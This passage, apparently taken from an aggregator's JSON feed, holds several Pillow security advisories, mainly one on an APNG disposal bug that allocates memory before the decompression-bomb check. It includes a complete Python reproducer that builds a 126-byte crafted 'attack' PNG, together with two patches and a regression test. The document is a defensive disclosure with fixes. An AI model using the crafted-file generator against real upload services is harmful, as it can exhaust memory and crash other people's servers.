\"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-21T21:21:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-f2g6-542v-9j58","https://nvd.nist.gov/vuln/detail/CVE-2026-112406","https://github.com/python-pillow/Pillow/commit/b3ebf20c694f2f12537a629c30229a1d5a53f777","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-f2g6-542v-9j58"],"source_kind":"github","identifiers":["GHSA-f2g6-542v-9j58","CVE-2026-112406"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T22:00:07.820Z","updated_at":"2026-12-03T11:01:20.275Z","epss_percentage":0.00573,"epss_percentile":0.48706,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mMmc2LTU0MnYtOWo1OM4AB-_U","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mMmc2LTU0MnYtOWo1OM4AB-_U","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 5.1.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mMmc2LTU0MnYtOWo1OM4AB-_U/related_packages","related_advisories":[{"uuid":"CVE-2026-112406","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112406.json"},{"uuid":"UBUNTU-CVE-2026-112406","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112406","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112406"}]},{"uuid":"GSA_kwCzR0hTQS01eG0yLTY2NzYtcWNwOc4AB-_R","url":"https://github.com/advisories/GHSA-5xm2-6676-qcp9","title":"Pillow: APNG background disposal allocates full canvas before decompression bomb check","description":"```\n============================================================================\nAPNG background disposal allocates full canvas before decompression bomb check\nLocation: src/PIL/PngImagePlugin.py:1000  in PngImageFile._seek()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA 126-byte animated PNG file makes Pillow's `Image.open()` allocate and fill memory sized by the image dimensions the file claims, before Pillow's built-in check for oversized images runs. A file claiming 22000×22000 pixels costs about 1.9 GB. Anyone who can get an application to open an image they supply, with default settings and no further calls such as `load()`, can cause a multi-gigabyte memory spike per file. If the claimed size exceeds the machine's free memory, the operating system kills the process outright.\n\nThe bug is in `PngImageFile._seek()` in `src/PIL/PngImagePlugin.py` (around line 1000). For any APNG, `_open()` calls `self._seek(0)`. When the first `fcTL` chunk requests `OP_BACKGROUND` disposal, `_seek()` calls `Image.core.fill(self.mode, self.size)` with the full IHDR size, which allocates and zero-fills width×height×4 bytes. `OP_PREVIOUS` takes the same path, because frame 0 rewrites it to `OP_BACKGROUND`. This all happens inside the plugin factory, so `Image.open()`'s `_decompression_bomb_check(im.size)` only runs after the memory has been touched. A 1×1 frame rectangle passes the only checks on the way.\n\nBelow available memory, the allocation is freed when `DecompressionBombError` propagates, so sustained pressure needs repeated or concurrent uploads. A 45000×45000 header gets the process killed by the out-of-memory killer on an 8 GB host. The attached reproducer opens two such files that differ in one byte (`dispose_op` 0 vs 1). Both end in `DecompressionBombError`, but peak resident memory is 17 MB for the first and 1864 MB for the second. The eager fill was introduced in 5e4e0fa6ee67 (\"Use disposal settings from previous frame\", December 2020) and first shipped in 8.1.0. Two candidate patches with a regression test are attached.\n\n## Details\n\nFor an APNG whose first `fcTL` chunk requests `OP_BACKGROUND` disposal, `PngImageFile._open()` creates and zero-fills a core image of the full IHDR-declared size. This happens inside the plugin factory, i.e. before `Image.open()` gets to `_decompression_bomb_check(im.size)`, so the check that is meant to reject oversized headers without allocating anything runs only after the allocation has been made and touched.\n\nThe following 126-byte file (all chunk lengths and CRCs valid) makes `Image.open(io.BytesIO(data))`, with default `MAX_IMAGE_PIXELS` and no `load()`, reach 1.86 GB resident (`ru_maxrss`) and then raise `DecompressionBombError`. The byte-identical file with `dispose_op=0` raises the same error at 17 MB.\n\n```\nIHDR  width=22000 height=22000 bit_depth=8 colour_type=6 (RGBA)\nacTL  num_frames=2 num_plays=0\nfcTL  seq=0 w=1 h=1 x=0 y=0 delay=1/10 dispose_op=1 (OP_BACKGROUND) blend_op=0\nIDAT  zlib(00 00 00 00 00)                      # one 1x1 RGBA scanline\nIEND\n```\n\nWith `width=height=45000` (8.1 GB canvas) the same call attempts the full allocation: under a 4 GiB `RLIMIT_AS` it fails with `MemoryError` from the allocator instead of `DecompressionBombError`; without a cap, on an 8 GB host with no swap, the process is OOM-killed.\n\n### Code path\n\n`Image.open()` runs the bomb check only after the plugin's constructor (and therefore `_open()`) has returned:\n\n```python\n# src/PIL/Image.py:3699-3701\n                    im = factory(fp, filename)\n                    _decompression_bomb_check(im.size)\n                    return im\n```\n\nFor a plain PNG that ordering is fine: `PngImageFile._open()` only parses chunks up to the first `IDAT` and records `self._size` from `IHDR`; nothing is allocated from it. For an APNG (`acTL` seen, so `im_n_frames` is set) `_open()` additionally positions on frame 0:\n\n```python\n# src/PIL/PngImagePlugin.py:845-853\n        if self.png.im_n_frames is not None:\n            …\n            self._seek(0)\n```\n\n`_seek(0)` copies `disposal` and `bbox` from the `fcTL` chunk into `self.dispose_op` / `self.dispose_extent` and then prepares the disposal image for the *next* frame eagerly, using the full image size:\n\n```python\n# src/PIL/PngImagePlugin.py:991-1001\n        if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:\n            self.dispose_op = Disposal.OP_BACKGROUND\n\n        self.dispose = None\n        if self.dispose_op == Disposal.OP_PREVIOUS:\n            …\n        elif self.dispose_op == Disposal.OP_BACKGROUND:\n            self.dispose = Image.core.fill(self.mode, self.size)\n            self.dispose = self._crop(self.dispose, self.dispose_extent)\n```\n\n`Image.core.fill` is `_fill()` in `src/_imaging.c:711`, which does `ImagingNewDirty(mode, xsize, ysize)` followed by `ImagingFill()`; `ImagingFill` (`src/libImaging/Fill.c:23`) writes every row, so the whole `width*height*4` bytes become resident rather than merely reserved. `self.size` here is the IHDR size (22000×22000), not the 1×1 frame rectangle. The `_crop` on the next line does call `_decompression_bomb_check`, but on the `fcTL` rectangle (1×1) and only after the fill has completed. Lines 991-992 rewrite `OP_PREVIOUS` to `OP_BACKGROUND` on frame 0, so `dispose_op=2` takes the same path (verified: identical 1.86 GB peak). When the first `fcTL` rectangle is large, the `_crop` copy is a second extent-sized buffer on top of the full-canvas fill, so the transient peak can reach about twice the canvas: a 13000×13000 full-frame `fcTL` (below the error threshold, so `Image.open()` succeeds with only a `DecompressionBombWarning`) peaks at 1.31 GB for a 0.66 GB canvas.\n\nThe only validation `chunk_fcTL` applies (`src/PIL/PngImagePlugin.py:740-745`) is that the frame rectangle fits inside the IHDR size, which a 1×1 frame always does; IHDR width/height themselves are unconstrained 32-bit values at this point. Control then returns to `_open_core`, `_decompression_bomb_check((22000, 22000))` raises, and the 1.9 GB core image is released when the half-constructed `PngImageFile` is discarded.\n\nThe eager full-size fill in `_seek()` was introduced in `5e4e0fa6ee67` (\"Use disposal settings from previous frame\", 2020-12-24) and first shipped in 8.1.0; before it, the `OP_BACKGROUND` fill lived in `load_end()` and could not be reached from `Image.open()`.\n\n## Impact\n\nAny application that calls `Image.open()` on untrusted bytes with default settings — the configuration in which the decompression-bomb check is supposed to make that call cheap and safe — can be made to allocate and write an attacker-chosen amount of memory from a ~126-byte PNG upload, before any error is reported and without `load()`, frame iteration, or `LOAD_TRUNCATED_IMAGES`. The amount is set directly by the IHDR width/height (4 bytes per pixel for colour type 6): values below the host's free memory cause a transient multi-GB spike per request (≈15,000,000× amplification at 22000×22000) that is freed when the exception propagates, so concurrent or repeated uploads are needed to sustain pressure; values above it get the worker process OOM-killed outright. PNG is accepted by essentially every upload pipeline, and the file passes `_accept` and chunk CRC checks as a well-formed APNG.\n\nThis is the same class as the recent bomb-check additions for WMF (load at a different DPI), FITS, GIF and FontFile — an allocation sized from file-declared numbers on a path `_decompression_bomb_check` does not cover — but here the uncovered path is `Image.open()` itself rather than a later `load()`/`seek()`.\n\n## Reproducing\n\n`repro` is a single Python script (no build step, no companion files). It builds two PNGs in memory, opens each one with plain `Image.open(io.BytesIO(data))` in a fresh child interpreter using default settings and no `load()`, and has each child report the exception it got and its own peak RSS (`ru_maxrss`). It needs about 2 GB of free RAM and finishes in about a second.\n\nThe two files are 126 bytes each and differ in exactly one byte, the `dispose_op` of the first `fcTL` chunk: `0` (`OP_NONE`) for the control and `1` (`OP_BACKGROUND`) for the attack. Both declare IHDR 22000×22000 RGBA. That is 484 Mpixel, above the 2×`MAX_IMAGE_PIXELS` error threshold, so `Image.open()` has to reject both with `DecompressionBombError`. Each chunk has a job:\n\n- The `acTL` chunk (2 frames) makes `_open()` call `_seek(0)`.\n- The 1×1 `fcTL` rectangle passes `chunk_fcTL`'s bounds check and `_crop`'s bomb check.\n- The one-scanline `IDAT` ends header parsing.\n\nExpected output on this tree:\n\n```\n126-byte APNG declaring 22000x22000 RGBA; Image.open(BytesIO(data)), defaults\n  control  dispose_op=0 OP_NONE        -\u003e DecompressionBombError peak RSS    17 MB\n  attack   dispose_op=1 OP_BACKGROUND  -\u003e DecompressionBombError peak RSS  1864 MB\nImage.open() touched a full 22000x22000 canvas before the bomb check ran\nBUG\n```\n\nBoth files are rejected, but the control is rejected at interpreter size. The attack file only reaches the bomb check after `Image.core.fill(\"RGBA\", (22000, 22000))` has allocated and zero-filled about 1.9 GB. The script prints `BUG` if the attack child's peak RSS is at least 1000 MB and at least 20× the control's, or if the attack child is killed by `SIGKILL` (for example by the OOM killer on a small host). Otherwise it prints `OK`; any other non-zero child exit is treated as a harness failure, printed with the child's output, and also ends in `OK`. With either attached patch applied, both children report about 17–22 MB and the script prints `OK`.\n\nThe allocation grows with the header, so it can be scaled by changing `SIZE` in the script. The 45000×45000 case (an 8.1 GB canvas) is covered in Details and is not part of the script.\n\n## Suggested fix\n\nDo not build the `OP_BACKGROUND` disposal image from the declared size during `_open()`. Two alternative patches are attached; both change only `src/PIL/PngImagePlugin.py`, and both add the same regression test to `Tests/test_file_apng.py` (a 2³¹−1 × 1 APNG built in memory with a 1×1 `OP_BACKGROUND` first frame must make `Image.open()` raise `DecompressionBombError`; on the current tree the fill fails first with `MemoryError`). Attached patch 1 is the preferred fix.\n\n**Attached patch 1** moves the fill to its only point of use, the `frame \u003e 0` branch of `_seek()` right after `self.load()` — which can only run once `Image.open()` has returned (bomb check passed) and the canvas itself has been allocated — and, as `GifImagePlugin` already does, fills only the previous frame's dispose extent instead of a full canvas that is then cropped:\n\n```diff\n--- a/src/PIL/PngImagePlugin.py\n+++ b/src/PIL/PngImagePlugin.py\n@@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile):\n             # ensure previous frame was loaded\n             self.load()\n \n+            if self.dispose_op == Disposal.OP_BACKGROUND:\n+                # Created here rather than in the previous _seek(), so that\n+                # nothing is allocated from the declared image size before\n+                # the decompression bomb check in Image.open() has run.\n+                # Only dispose the extent of the previous frame.\n+                x0, y0, x1, y1 = self.dispose_extent\n+                self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0))\n             if self.dispose:\n                 self.im.paste(self.dispose, self.dispose_extent)\n             self._prev_im = self.im.copy()\n@@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile):\n             if self._prev_im:\n                 self.dispose = self._prev_im.copy()\n                 self.dispose = self._crop(self.dispose, self.dispose_extent)\n-        elif self.dispose_op == Disposal.OP_BACKGROUND:\n-            self.dispose = Image.core.fill(self.mode, self.size)\n-            self.dispose = self._crop(self.dispose, self.dispose_extent)\n```\n\nAt that point `self.dispose_op` and `self.dispose_extent` still hold the previous frame's values (they are reassigned further down in `_seek`), so disposal semantics are unchanged; the `OP_PREVIOUS` copy stays eager because `load_end()` pastes into `_prev_im` in place (`src/PIL/PngImagePlugin.py:1110`). With this patch `Image.open()` allocates nothing from the declared size, including in the `DecompressionBombWarning` range.\n\n**Attached patch 2** is a smaller diff that keeps the eager disposal setup in `_seek()` and mirrors `GifImagePlugin._seek()`'s `OP_BACKGROUND` handling exactly: it computes the size of the `fcTL` rectangle (already validated by `chunk_fcTL` to lie within the image), runs `Image._decompression_bomb_check()` on it, and fills an image of only that size instead of filling `self.size` and cropping. It also narrows the `dispose_extent` annotation to `tuple[int, int, int, int]` so the bomb-check call type-checks. The trade-off is that a full-canvas first frame still allocates a bomb-checked image inside `Image.open()` — up to about 2×`MAX_IMAGE_PIXELS`×4 bytes (660 MB for a 13000×13000 full-frame `fcTL`, with `DecompressionBombWarning`) — and a first `fcTL` covering a canvas above the error threshold now raises `DecompressionBombError` from `_seek(0)` rather than from `Image.open()`'s own check.\n\nWith either patch applied to a clean checkout, the reproducer prints `OK` and all 54 files in `Tests/images/apng/` decode byte-identically frame by frame, including after a rewind.\n\n## The patch (1 of 2)\n\nCreate the APNG OP_BACKGROUND disposal image when the next frame is sought, sized to the frame extent, not in _open() from the IHDR size\n\nApplies to `src/PIL/PngImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py\nindex 15689476c..6e61c8b4b 100644\n--- a/Tests/test_file_apng.py\n+++ b/Tests/test_file_apng.py\n@@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -\u003e None:\n         assert im.size == (128, 64)\n \n \n+def test_apng_dispose_op_background_decompression_bomb() -\u003e None:\n+    # The disposal image must not be created from the declared image size\n+    # before the decompression bomb check in Image.open() has run.\n+    # A canvas this wide cannot be allocated, so if it is attempted,\n+    # a MemoryError is raised instead of a DecompressionBombError.\n+    o16 = PngImagePlugin.o16\n+    o32 = PngImagePlugin.o32\n+\n+    b = BytesIO()\n+    b.write(PngImagePlugin._MAGIC)\n+    PngImagePlugin.putchunk(b, b\"IHDR\", o32(2**31 - 1), o32(1), b\"\\x08\\x06\\x00\\x00\\x00\")\n+    PngImagePlugin.putchunk(b, b\"acTL\", o32(2), o32(0))\n+    PngImagePlugin.putchunk(\n+        b,\n+        b\"fcTL\",\n+        o32(0),  # sequence number\n+        o32(1),  # width\n+        o32(1),  # height\n+        o32(0),  # x offset\n+        o32(0),  # y offset\n+        o16(1),  # delay numerator\n+        o16(10),  # delay denominator\n+        bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]),\n+    )\n+    PngImagePlugin.putchunk(b, b\"IDAT\")\n+    PngImagePlugin.putchunk(b, b\"IEND\")\n+\n+    with pytest.raises(Image.DecompressionBombError):\n+        Image.open(b)\n+\n+\n def test_apng_blend() -\u003e None:\n     with Image.open(\"Tests/images/apng/blend_op_source_solid.png\") as im:\n         assert isinstance(im, PngImagePlugin.PngImageFile)\ndiff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py\nindex 0eb2fd5e4..24fa587c1 100644\n--- a/src/PIL/PngImagePlugin.py\n+++ b/src/PIL/PngImagePlugin.py\n@@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile):\n             # ensure previous frame was loaded\n             self.load()\n \n+            if self.dispose_op == Disposal.OP_BACKGROUND:\n+                # Created here rather than in the previous _seek(), so that\n+                # nothing is allocated from the declared image size before\n+                # the decompression bomb check in Image.open() has run.\n+                # Only dispose the extent of the previous frame.\n+                x0, y0, x1, y1 = self.dispose_extent\n+                self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0))\n             if self.dispose:\n                 self.im.paste(self.dispose, self.dispose_extent)\n             self._prev_im = self.im.copy()\n@@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile):\n             if self._prev_im:\n                 self.dispose = self._prev_im.copy()\n                 self.dispose = self._crop(self.dispose, self.dispose_extent)\n-        elif self.dispose_op == Disposal.OP_BACKGROUND:\n-            self.dispose = Image.core.fill(self.mode, self.size)\n-            self.dispose = self._crop(self.dispose, self.dispose_extent)\n \n     def tell(self) -\u003e int:\n         return self.__frame\n```\n\n## The patch (2 of 2)\n\nBomb-check and fill only the fcTL extent for APNG OP_BACKGROUND disposal instead of a full IHDR-sized canvas in PngImageFile._seek()\n\nApplies to `src/PIL/PngImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py\nindex 15689476c..6e61c8b4b 100644\n--- a/Tests/test_file_apng.py\n+++ b/Tests/test_file_apng.py\n@@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -\u003e None:\n         assert im.size == (128, 64)\n \n \n+def test_apng_dispose_op_background_decompression_bomb() -\u003e None:\n+    # The disposal image must not be created from the declared image size\n+    # before the decompression bomb check in Image.open() has run.\n+    # A canvas this wide cannot be allocated, so if it is attempted,\n+    # a MemoryError is raised instead of a DecompressionBombError.\n+    o16 = PngImagePlugin.o16\n+    o32 = PngImagePlugin.o32\n+\n+    b = BytesIO()\n+    b.write(PngImagePlugin._MAGIC)\n+    PngImagePlugin.putchunk(b, b\"IHDR\", o32(2**31 - 1), o32(1), b\"\\x08\\x06\\x00\\x00\\x00\")\n+    PngImagePlugin.putchunk(b, b\"acTL\", o32(2), o32(0))\n+    PngImagePlugin.putchunk(\n+        b,\n+        b\"fcTL\",\n+        o32(0),  # sequence number\n+        o32(1),  # width\n+        o32(1),  # height\n+        o32(0),  # x offset\n+        o32(0),  # y offset\n+        o16(1),  # delay numerator\n+        o16(10),  # delay denominator\n+        bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]),\n+    )\n+    PngImagePlugin.putchunk(b, b\"IDAT\")\n+    PngImagePlugin.putchunk(b, b\"IEND\")\n+\n+    with pytest.raises(Image.DecompressionBombError):\n+        Image.open(b)\n+\n+\n def test_apng_blend() -\u003e None:\n     with Image.open(\"Tests/images/apng/blend_op_source_solid.png\") as im:\n         assert isinstance(im, PngImagePlugin.PngImageFile)\ndiff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py\nindex 0eb2fd5e4..0111a17d7 100644\n--- a/src/PIL/PngImagePlugin.py\n+++ b/src/PIL/PngImagePlugin.py\n@@ -985,7 +985,7 @@ class PngImageFile(ImageFile.ImageFile):\n                 msg = \"image not found in APNG frame\"\n                 raise EOFError(msg)\n         if dispose_extent:\n-            self.dispose_extent: tuple[float, float, float, float] = dispose_extent\n+            self.dispose_extent: tuple[int, int, int, int] = dispose_extent\n \n         # setup frame disposal (actual disposal done when needed in the next _seek())\n         if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:\n@@ -997,8 +997,14 @@ class PngImageFile(ImageFile.ImageFile):\n                 self.dispose = self._prev_im.copy()\n                 self.dispose = self._crop(self.dispose, self.dispose_extent)\n         elif self.dispose_op == Disposal.OP_BACKGROUND:\n-            self.dispose = Image.core.fill(self.mode, self.size)\n-            self.dispose = self._crop(self.dispose, self.dispose_extent)\n+            # only dispose the extent in this frame, rather than filling an\n+            # image of the declared size before Image.open() has been able to\n+            # run the decompression bomb check\n+            x0, y0, x1, y1 = self.dispose_extent\n+            dispose_size = (x1 - x0, y1 - y0)\n+\n+            Image._decompression_bomb_check(dispose_size)\n+            self.dispose = Image.core.fill(self.mode, dispose_size)\n \n     def tell(self) -\u003e int:\n         return self.__frame\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 3,564 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nImage.open() on a 126-byte APNG allocates and zero-fills a full canvas of the\nheader-declared size *before* Pillow's decompression-bomb check rejects it.\n\nWe build two PNGs that are identical except for one byte, the first fcTL\nchunk's dispose_op:\n\n    control: dispose_op = 0  (OP_NONE)\n    attack:  dispose_op = 1  (OP_BACKGROUND)\n\nBoth declare 22000x22000 RGBA (484 Mpixel, above the 2 * MAX_IMAGE_PIXELS\nerror threshold), so Image.open() must reject both with DecompressionBombError\n-- and that check exists precisely so the rejection is cheap. For the attack\nfile, PngImageFile._open() -\u003e _seek(0) first runs\nImage.core.fill(mode, (22000, 22000)), touching ~1.9 GB, and only then is the\nbomb check reached.\n\nEach file is opened in a fresh interpreter that reports its own peak RSS.\n\"\"\"\nimport struct\nimport subprocess\nimport sys\nimport zlib\n\nSIZE = 22000  # 22000 * 22000 * 4 bytes = 1.94 GB canvas\n\n\ndef chunk(cid, data):\n    crc = zlib.crc32(cid + data)\n    return struct.pack(\"\u003eI\", len(data)) + cid + data + struct.pack(\"\u003eI\", crc)\n\n\ndef build_apng(dispose_op):\n    ihdr = struct.pack(\"\u003eIIBBBBB\", SIZE, SIZE, 8, 6, 0, 0, 0)  # 8-bit RGBA\n    actl = struct.pack(\"\u003eII\", 2, 0)  # animated: 2 frames -\u003e _open() calls _seek(0)\n    # frame 0: seq 0, a 1x1 rectangle at (0,0) (passes fcTL's bounds check),\n    # delay 1/10 s, the dispose_op under test, blend_op 0\n    fctl = struct.pack(\"\u003eIIIIIHHBB\", 0, 1, 1, 0, 0, 1, 10, dispose_op, 0)\n    idat = zlib.compress(b\"\\x00\" + b\"\\x00\\x00\\x00\\x00\")  # one 1x1 RGBA scanline\n    return (b\"\\x89PNG\\r\\n\\x1a\\n\" + chunk(b\"IHDR\", ihdr) + chunk(b\"acTL\", actl)\n            + chunk(b\"fcTL\", fctl) + chunk(b\"IDAT\", idat) + chunk(b\"IEND\", b\"\"))\n\n\n# What an application does with an untrusted upload: Image.open() with default\n# settings, no load(). Prints the outcome and this process's peak RSS in MB.\nOPEN_UNTRUSTED = \"\"\"\nimport io, resource, sys\nfrom PIL import Image\ntry:\n    Image.open(io.BytesIO(sys.stdin.buffer.read()))\n    outcome = \"opened\"\nexcept Exception as e:\n    outcome = type(e).__name__\nprint(outcome, resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024)\n\"\"\"\n\n\ndef open_in_child(data):\n    p = subprocess.run([sys.executable, \"-c\", OPEN_UNTRUSTED], input=data,\n                       capture_output=True, timeout=60)\n    if p.returncode == -9:  # SIGKILL: OOM-killed on a small host -- also the bug\n        return \"oom-killed(rc=-9)\", None\n    if p.returncode != 0:  # anything else is a harness failure, not evidence\n        print(p.stdout.decode(), p.stderr.decode(), sep=\"\\n\")\n        print(\"child failed unexpectedly (rc=%d)\" % p.returncode)\n        print(\"OK\")\n        sys.exit(1)\n    outcome, peak_mb = p.stdout.split()\n    return outcome.decode(), int(peak_mb)\n\n\ncontrol = build_apng(dispose_op=0)\nattack = build_apng(dispose_op=1)\n\nc_outcome, c_mb = open_in_child(control)\na_outcome, a_mb = open_in_child(attack)\n\nprint(\"%d-byte APNG declaring %dx%d RGBA; Image.open(BytesIO(data)), defaults\"\n      % (len(attack), SIZE, SIZE))\nprint(\"  control  dispose_op=0 OP_NONE        -\u003e %-22s peak RSS %5s MB\" % (c_outcome, c_mb))\nprint(\"  attack   dispose_op=1 OP_BACKGROUND  -\u003e %-22s peak RSS %5s MB\" % (a_outcome, a_mb))\n\n# Expected: both rejected at roughly interpreter size. Bug: the attack file\n# made the \"cheap\" rejection cost a full-size canvas (or killed the process).\nif a_mb is None or (a_mb \u003e= 1000 and a_mb \u003e= 20 * c_mb):\n    print(\"Image.open() touched a full %dx%d canvas before the bomb check ran\"\n          % (SIZE, SIZE))\n    print(\"BUG\")\nelse:\n    print(\"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-21T21:17:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-5xm2-6676-qcp9","https://nvd.nist.gov/vuln/detail/CVE-2026-112399","https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-5xm2-6676-qcp9"],"source_kind":"github","identifiers":["GHSA-5xm2-6676-qcp9","CVE-2026-112399"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T22:00:07.820Z","updated_at":"2026-12-03T11:01:20.275Z","epss_percentage":0.00573,"epss_percentile":0.48705,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01eG0yLTY2NzYtcWNwOc4AB-_R","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01eG0yLTY2NzYtcWNwOc4AB-_R","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 8.1.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01eG0yLTY2NzYtcWNwOc4AB-_R/related_packages","related_advisories":[{"uuid":"CVE-2026-112399","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112399.json"},{"uuid":"UBUNTU-CVE-2026-112399","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112399","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112399"}]},{"uuid":"GSA_kwCzR0hTQS1nZzJyLXd2Zm0tcTlyeM4AB-_Q","url":"https://github.com/advisories/GHSA-gg2r-wvfm-q9rx","title":"Pillow: MSP RLE decoder expands a tiny file into unbounded memory","description":"### Summary\nThe MSP RLE decoder expands run-length data into an in-memory buffer with no cap tied to the declared image size. A small file that passes the pixel-count check can force hundreds of megabytes or more of allocation when the application loads pixels.\n\n### Details\nThe MSP decoder writes each run into an unbounded `io.BytesIO` and can expand roughly 85x per run:\n\n- `src/PIL/MspImagePlugin.py:144-146`\n\n### Impact\nMemory-exhaustion denial of service from a tiny crafted image in any application that loads pixels. The expansion is decoupled from the declared pixel count, so `MAX_IMAGE_PIXELS` does not bound it.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-21T21:12:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-gg2r-wvfm-q9rx","https://nvd.nist.gov/vuln/detail/CVE-2026-112892","https://github.com/python-pillow/Pillow/commit/5dcb630b9798efd91929cb873d677aeee6ed0bb3","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-gg2r-wvfm-q9rx"],"source_kind":"github","identifiers":["GHSA-gg2r-wvfm-q9rx","CVE-2026-112892"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T22:00:07.820Z","updated_at":"2026-12-03T11:01:20.276Z","epss_percentage":0.00503,"epss_percentile":0.44615,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZzJyLXd2Zm0tcTlyeM4AB-_Q","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nZzJyLXd2Zm0tcTlyeM4AB-_Q","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 4.1.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZzJyLXd2Zm0tcTlyeM4AB-_Q/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-112892","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112892","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112892"},{"uuid":"CVE-2026-112892","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112892.json"}]},{"uuid":"GSA_kwCzR0hTQS1qZzg2LXYzanYtaHJwbc4AB-_P","url":"https://github.com/advisories/GHSA-jg86-v3jv-hrpm","title":"Pillow: Quadratic-time DoS in PDF save_all (PdfParser.next_object_id)","description":"```\n============================================================================\nQuadratic-time DoS in PDF save_all (PdfParser.next_object_id)\nLocation: src/PIL/PdfParser.py:629  in next_object_id()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow's PDF writer takes time proportional to the square of the number of frames when it saves a multi-frame image as a multi-page PDF. Anyone who can get an application to convert their uploaded image this way can tie up a worker at full CPU for minutes with a small file. A 240 KB animated image takes about 70 seconds, a 720 KB one an estimated 10 minutes, and a 